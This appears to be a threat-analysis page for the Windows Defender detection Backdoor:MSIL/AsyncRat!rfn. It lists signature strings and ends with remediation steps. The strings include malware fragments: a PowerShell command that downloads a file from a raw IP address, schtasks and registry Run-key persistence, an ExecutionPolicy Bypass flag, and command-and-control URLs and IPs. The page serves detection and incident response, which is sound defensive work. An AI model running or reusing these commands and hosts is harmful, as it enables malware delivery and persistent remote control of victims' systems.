Backdoor:MSIL/AsyncRat!rfn - Windows Defender Threat Analysis

This is a concrete detection of Backdoor:MSIL/AsyncRat!rfn, a sophisticated Remote Access Trojan (RAT) that grants attackers full control over the infected system. It utilizes legitimate Windows processes like MSBuild.exe and COM Surrogate for execution and evasion, establishes persistence via registry keys, and communicates with command-and-control servers for data exfiltration and further malicious activities.

Relevant strings associated with this threat:
 - Set ZpXcmsCQ = CreateObject("Wscript.Shell") (MACROHSTR_EXT)
 - ZpXcmsCQ.Run rdeAjnshv + lqfadUMW + AKrDsxioC, RValue (MACROHSTR_EXT)
 - Set fso = CreateObject("Scripting.FileSystemObject") (PEHSTR_EXT)
 -  & "\ (PEHSTR_EXT)
 - .xml" (PEHSTR_EXT)
 - Set object_Shell = CreateObject("Shell.Application") (PEHSTR_EXT)
 - object_Shell.ShellExecute "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",  (PEHSTR_EXT)
 - COM Surrogate (PEHSTR_EXT)
 - trevnoC.metsyS (PEHSTR_EXT)
 - CompressionMode (PEHSTR_EXT)
 - TripleDESCryptoServiceProvider (PEHSTR_EXT)
 - https://ufile.io/rftaeqtc (PEHSTR_EXT)
 - Software\Microsoft\Windows\CurrentVersion\Run (PEHSTR_EXT)
 - http://serverupdates48.ga/test (PEHSTR_EXT)
 - HttpWebRequest (PEHSTR_EXT)
 - CarRentalSystem\obj\Debug\Dash.pdb (PEHSTR_EXT)
 - crypted.exe (PEHSTR_EXT)
 - sqkpikos.pdb (PEHSTR_EXT)
 - HCS Computers & Laptops (PEHSTR_EXT)
 - Client.Install (PEHSTR_EXT)
 - GetExecutingAssembly (PEHSTR_EXT)
 - System.Windows.Forms (PEHSTR_EXT)
 - System.Reflection (PEHSTR_EXT)
 - B.text (PEHSTR_EXT)
 - setUTCMinutesTU Jurassic.Library.JSFunctionFlags (PEHSTR_EXT)
 - calc_pro.Form1.resources (PEHSTR_EXT)
 - payload.exe (PEHSTR_EXT)
 - get_Computer (PEHSTR_EXT)
 - Dotfuscated\windwos.pdb (PEHSTR_EXT)
 - windwos.My (PEHSTR_EXT)
 - 134.122.133.49 (PEHSTR_EXT)
 - Client.bin (PEHSTR_EXT)
 - Select * From Win32_ComputerSystem (PEHSTR_EXT)
 - Dotfuscated\CryptoObfuscator_Output\v4.pdb (PEHSTR_EXT)
 - v4.Resources.resources (PEHSTR_EXT)
 - windwos.pdb (PEHSTR_EXT)
 - petrolmanagementsystem.Supplier_withdraw_pump_bank_detail.resources (PEHSTR_EXT)
 - \x64\Release\WechatAnd.pdb (PEHSTR_EXT)
 - windwos\bin\Debug\Dotfuscated\windwos.pdb (PEHSTR_EXT)
 - server.Resources.resources (PEHSTR_EXT)
 - RAT\AsyncRat_0313\rat_Client\rat_pro\obj\Debug\rat_pro.pdb (PEHSTR_EXT)
 - 9ubmFjIG1hcmdvcnAgc2loVCHNTAG4Ic (PEHSTR_EXT)
 - set_UseShellExecute (PEHSTR_EXT)
 - \RatClientTest.pdb (PEHSTR)
 - Ymcfcbdts.Properties (PEHSTR_EXT)
 - Stub.g.resources (PEHSTR)
 - RunHiddenCommand (PEHSTR)
 - RawAccel.exe (PEHSTR)
 - seftali\x64\Release\seftali.pdb (PEHSTR_EXT)
 - loader\x64\Release\Espio.pdb (PEHSTR_EXT)
 - powershell(new-object System.Net.WebClient).DownloadFile('http://149.88.66.68/test.mp3','%Temp%/test.bin') (PEHSTR_EXT)
 - schtasks /create /f /sc onlogon /rl highest /tn (PEHSTR_EXT)
 - Stub.exe (PEHSTR_EXT)
 - nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS (PEHSTR_EXT)
 - Skipping Annabelle.exe (PEHSTR_EXT)
 - powershell.exe (PEHSTR_EXT)
 - ExecutionPolicy Bypass -File (PEHSTR_EXT)
 - !#HSTR:StringCodeForMshta.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.C!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.L!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.O!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRegsvr32.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRundll32.A!pli (PEHSTR_EXT)
 - rundll32 (PEHSTR_EXT)
 - !#HSTR:StringCodeForBITSJobs.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForPowerShell.G!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForScheduledTask.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForDataEncoding.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.J!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.K!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteFileCopy.B!pli (PEHSTR_EXT)
 - !#HSTR:ExecutionGuardrails (PEHSTR_EXT)
 - !#HSTR:StringCodeForFileDeletion.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.M!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForNetshHelperDLL.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteServices.A!pli (PEHSTR_EXT)

Immediately isolate the affected host from the network. Conduct a thorough forensic analysis and full system scan with up-to-date security software. Remove all detected malicious files and registry entries. Verify and remove any established persistence mechanisms (e.g., Run keys). Reset all potentially compromised user credentials and consider a complete system reimage for critical assets due to the extensive capabilities of RATs.